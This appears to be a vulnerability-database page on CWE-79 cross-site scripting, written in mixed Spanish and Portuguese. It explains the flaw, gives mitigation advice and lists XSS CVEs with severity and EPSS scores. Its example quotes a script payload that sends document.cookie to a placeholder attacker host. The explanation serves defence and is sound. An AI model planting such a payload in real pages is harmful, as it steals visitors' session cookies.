Fallos del tipo CWE-79

30.149 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13082MEDIUMPHPGurukul Land Record System search-property.php cross site scriptingEPSS 0.3%CVE-2024-8720MEDIUMRumbleTalk Live Group Chat – HTML5 <= 6.3.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2019-25403MEDIUMComodo Dome Firewall 2.7.0 Stored Cross-Site Scripting via admin_profilesEPSS 0.3%CVE-2025-9737MEDIUMO2OA Personal Profile importmodel cross site scriptingEPSS 0.3%CVE-2025-71241MEDIUMSPIP < 4.3.6 Cross-Site Scripting in Private AreaEPSS 0.3%CVE-2024-20538MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2024-32429MEDIUMWordPress Remove Footer Credit plugin <= 1.0.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7870MEDIUMPortabilis i-Diario justificativas-de-falta Endpoint doc_uploader.rb cross site scriptingEPSS 0.3%CVE-2026-45665HIGHOpen WebUI: Stored XSS in Banner Component via Improper Sanitization OrderEPSS 0.3%CVE-2024-29103HIGHWordPress Database for Contact Form 7 plugin <= 3.0.6 - Unauthenticated Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-48682MEDIUMStored cross-site scripting (XSS) vulnerability in unit name. The following products are affected: Acronis Cyber Protect 16 (Linux, Windows)EPSS 0.3%CVE-2024-5946MEDIUMSquelch Tabs and Accordions Shortcodes <= 0.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via tab ShortcodeEPSS 0.3%CVE-2024-9051MEDIUMWP Ultimate Post Grid <= 3.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpupg-grid-with-filters ShortcodeEPSS 0.3%CVE-2024-11935MEDIUMEmail Address Obfuscation <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via class ParameterEPSS 0.3%CVE-2025-4984HIGHStored Cross-site Scripting (XSS) vulnerability affecting City Discover in City Referential Manager on Release 3DEXPERIENCE R2025xEPSS 0.3%CVE-2024-30551HIGHWordPress Sticky Anything plugin <= 2.1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-6897MEDIUMaThemes Starter Sites <= 1.0.53 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-8153MEDIUMCross-site Scripting vulnerability in NEC Corporation UNIVERGE IX from Ver.9.5 to Ver.10.7, from Ver.10.8.21 to Ver.10.8.36, from Ver.10.9.1EPSS 0.3%CVE-2022-36277MEDIUMSQL injection vulnerability in TCMAN GIMEPSS 0.3%CVE-2024-25921HIGHWordPress Action Network plugin <= 1.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%